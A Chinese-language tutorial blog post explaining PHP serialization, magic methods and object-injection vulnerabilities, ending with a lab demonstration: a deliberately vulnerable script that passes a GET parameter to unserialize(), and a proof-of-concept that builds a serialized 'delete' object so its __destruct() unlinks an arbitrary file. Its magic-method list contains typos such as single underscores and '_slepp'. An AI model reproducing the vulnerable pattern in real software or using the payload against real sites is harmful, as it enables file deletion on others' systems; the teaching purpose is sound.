详解php反序列化漏洞

php序列化与反序列化

  • 今天向大家介绍php反序列化漏洞,我会从开发者的角度讲述php序列化漏洞的相关基础知识,产生,以及漏洞利用。欢迎大家留言与我交流。

序列化与反序列化

  • 序列化是将变量转换为可保存或传输的字符串的过程
  • 反序列化就是在适当的时候把这个字符串转换成为原来的变量使用

php序列化与反序列化函数

  • serialize:可以将变量转换为字符串并且在转换中可以保存当前变量的值
  • unserialize:可以将serialize生成的字符串变换回变量
  • php进行序列化的目的:保存一个对象方便以后使用

原理解析

1.想要了解php序列化,就先要了解类,变量,方法,对象,因为php进行序列化的目的就是保存一个对象方便以后使用


//类
class Person{
	//变量
	public $name = '';
	public $age = 0;
	//方法
	public function Infomation(){
		echo "Person: ".$this->name." is ".$this->age." years old.
"
; } } //创建对象,实例化类 $per = new Person(); $per->name = 'hao'; $per->age = 22; $per->Infomation();

这个就是类的运行结果
在这里插入图片描述

序列化函数

  • serialize() 函数
  • 序列化一个对象将会保存对象的所有变量,但不会保存对象的方法,只会保存类的名字

//类
class Person{
	//变量
	public $name = '';
	public $age = 0;
	//方法
	public function Infomation(){
		echo "Person: ".$this->name." is ".$this->age." years old.
"
; } } //创建对象,实例化类 $per = new Person(); $per->name = 'hao'; $per->age = 22; echo serialize($per);//核心代码,php序列化函数

这个是序列化后的结果,我这里不会详细介绍序列化后的结果的规律,有兴趣的小伙伴,可以自己去深入研究
在这里插入图片描述

反序列化函数

  • 函数:unserialize()
  • unserialize()一个对象,这个对象的类必须是已经定义过的

//类
class Person{
	//变量
	public $name = '';
	public $age = 0;
	//方法
	public function Infomation(){
		echo "Person: ".$this->name." is ".$this->age." years old.
"
; } } //php反序列化函数 #将序列化的类,进行反序列化 $per = unserialize('O:6:"Person":2:{s:4:"name";s:3:"hao";s:3:"age";i:22;}'); #序列化后就可以相当与实例化了$per,接着就可以调用对应的方法 $per->Infomation();

在这里插入图片描述
通过反序列化函数,将我们序列化的结果,变为了原来的结果。

仅仅知道了序列化和反序列化的函数和用法,对于php反序列化漏洞来说是不够的,我们还要了解php中的魔法函数

php魔法函数

  • php类中包含一些魔法函数,这些函数可以在脚本的任何地方不用声明就可以使用
  • 魔法函数
_construct() //对象创建时被调用
_destruct()	//对象销毁时调用
_wakeup()	//使用unserialize是触发
_slepp()	//使用serialize是触发
_toString()	//把类当作字符串使用是触发
_get()	//用于从不访问的属性读取数据

大家看到这里就基本了解了php反序列化漏洞的基础知识。接下来我就,带大家实操一个php反序列化的漏洞。

PHP反序列化漏洞

php反序列化漏洞如何产生:

  • 如果一个php代码中使用了unserialize函数去调用某一类,该类中会自动执行一些已经定义的魔法函数,这些魔法函数中如果包含了一些危险的操作,或者这些魔法函数 会去调用类中的其他带有危险操作的函数,如果这些函数操作是我们可控的,那么就可以进行一些骚操作

实战


//删除文件
class delete {
	public $filename = 'error';
	//析构函数在类销毁时自动调用
	function __destruct() {
		echo $this->filename.'was deleted
'
; //删除文件的危险函数 unlink(dirname(__FILE__).'/'.$this->filename); } } class Person{ public $name = ''; public $age = 0; public function Information() { echo 'Person:'.$this->name.'is'.$this->age.'years old.
'
; } } $per = unserialize($_GET['per_serialized']);

审计代码,我们可以发现漏洞

  • __destruct():中调用了危险的函数unlink(),会删除文件
  • unserialize($_GET[‘per_serialized’]);反序列化函数中的参数,是用_GET传过来的,是我们可以控制的

构造poc

  • 结合上面的漏洞,我们可以自己生成一个delete类序列化值,通过unserialize()反序列化,这样就会调用delete类中的__destruct(),删除我们想要删除的文件
    详解php反序列化漏洞_第1张图片
    比如删除2.txt

class delete {
	public $filename = 'error';
}
//实例化一个类
$test = new delete();
//给类变量赋值为,想要删除的文件名
$test -> filename = '2.txt';
//输出序列化结果
echo serialize($test);

通过上面的代码,我们就得到了类变量filename为2.txt的序列化结果
在这里插入图片描述

  • 接着我们将这个值,通过get传给反序列化函数
    在这里插入图片描述
    由于unserialize()反序列化delete类,得到了类变量filename的值,在类销毁类时自动调用了__destruct()方法中的unlink函数,删掉了filename对应的文件。

这个就是最基本的序列化漏洞,希望对大家有帮助

你可能感兴趣的:(php)